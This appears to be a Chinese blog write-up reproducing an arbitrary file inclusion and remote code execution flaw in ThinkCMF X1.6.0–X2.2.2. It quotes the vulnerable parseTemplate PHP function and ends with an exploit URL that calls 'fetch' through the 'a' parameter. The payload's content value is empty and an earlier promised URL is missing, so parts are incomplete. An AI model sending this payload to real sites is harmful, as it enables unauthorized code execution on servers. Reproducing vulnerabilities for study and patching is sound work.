ThinkCMF任意包含漏洞复现
漏洞成因
根据ThinkPHP框架约定可以通过a参数来指定对应的函数名,但是该函数的修饰符必须为Public, 而添加的代码正好符合该条件。 可以通过如下URL进行访问,并且可以添加GET参数arg1传递给函数。
漏洞危害
远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。
影响版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
复现过程
漏洞出在:application\Portal\Controller\IndexController.class.php
首先引用Common\Controller\HomebaseController控制类文件,然后调用display函数
跟入display函数看描述就是可以自定义加载模版,通过$this->parseTemplate 函数根据约定确定模版路径,如果不符合原先的约定将会从当前目录开始匹配。
public function parseTemplate($template='') {
$tmpl_path=C("SP_TMPL_PATH"); // 前台模板文件根目录 themes/
define("SP_TMPL_PATH", $tmpl_path);
if($this->theme) { // 指定模板主题
$theme = $this->theme;
}else{
// 获取当前主题名称
$theme = C('SP_DEFAULT_THEME'); // 前台模板文件 simplebootx
if(C('TMPL_DETECT_THEME')) {// 自动侦测模板主题
$t = C('VAR_TEMPLATE'); //默认模板切换变量 t
if (isset($_GET[$t])){
$theme = $_GET[$t];
}elseif(cookie('think_template')){
$theme = cookie('think_template');
}
if(!file_exists($tmpl_path."/".$theme)){ //判断前台模板文件是否存在
$theme = C('SP_DEFAULT_THEME');
}
cookie('think_template',$theme,864000);
}
}
$theme_suffix="";
if(C('MOBILE_TPL_ENABLED') && sp_is_mobile()){//开启手机模板支持
if (C('LANG_SWITCH_ON',null,false)){
if(file_exists($tmpl_path."/".$theme."_mobile_".LANG_SET)){//优先级最高
$theme_suffix = "_mobile_".LANG_SET;
}elseif (file_exists($tmpl_path."/".$theme."_mobile")){
$theme_suffix = "_mobile";
}elseif (file_exists($tmpl_path."/".$theme."_".LANG_SET)){
$theme_suffix = "_".LANG_SET;
}
}else{
if(file_exists($tmpl_path."/".$theme."_mobile")){
$theme_suffix = "_mobile";
}
}
}else{
$lang_suffix="_".LANG_SET;
if (C('LANG_SWITCH_ON',null,false) && file_exists($tmpl_path."/".$theme.$lang_suffix)){
$theme_suffix = $lang_suffix;
}
}
$theme=$theme.$theme_suffix; //定义当前语言
C('SP_DEFAULT_THEME',$theme);
$current_tmpl_path=$tmpl_path.$theme."/";
// 获取当前主题的模版路径
define('THEME_PATH', $current_tmpl_path);
$cdn_settings=sp_get_option('cdn_settings');
if(!empty($cdn_settings['cdn_static_root'])){
$cdn_static_root=rtrim($cdn_settings['cdn_static_root'],'/');
C("TMPL_PARSE_STRING.__TMPL__",$cdn_static_root."/".$current_tmpl_path);
C("TMPL_PARSE_STRING.__PUBLIC__",$cdn_static_root."/public");
C("TMPL_PARSE_STRING.__WEB_ROOT__",$cdn_static_root);
}else{
C("TMPL_PARSE_STRING.__TMPL__",__ROOT__."/".$current_tmpl_path);
}
C('SP_VIEW_PATH',$tmpl_path);
C('DEFAULT_THEME',$theme);
define("SP_CURRENT_THEME", $theme);
if(is_file($template)) {
return $template;
}
$depr = C('TMPL_FILE_DEPR');
$template = str_replace(':', $depr, $template);
// 获取当前模块
$module = MODULE_NAME;
if(strpos($template,'@')){ // 跨模块调用模版文件
list($module,$template) = explode('@',$template);
}
$module =$module."/";
// 分析模板文件规则
if('' == $template) {
// 如果模板文件名为空 按照默认规则定位
$template = CONTROLLER_NAME . $depr . ACTION_NAME;
}elseif(false === strpos($template, '/')){
$template = CONTROLLER_NAME . $depr . $template;
}
$file = sp_add_template_file_suffix($current_tmpl_path.$module.$template);
$file= str_replace("//",'/',$file);
if(!file_exists_case($file)) E(L('_TEMPLATE_NOT_EXIST_').':'.$file);
return $file;
}
由于parseTemplate函数为模板渲染函数,而该函数权限为public。导致可控,最终payload如下:
/?a=fetch&templateFile=public/index&prefix=’’&content=
参考链接
https://www.cnblogs.com/ch459742906/p/5949168.html
https://mp.weixin.qq.com/s/3d7YrTq0vFSKXV6u0Hjnnw
https://www.cnblogs.com/0daybug/p/11720575.html
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:ThinkCMF任意包含漏洞复现
本文作者:九世
发布时间:2021-01-09, 15:34:49
最后更新:2021-01-09, 15:42:16
原始链接:http://jiushill.github.io/posts/3656eb8c.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。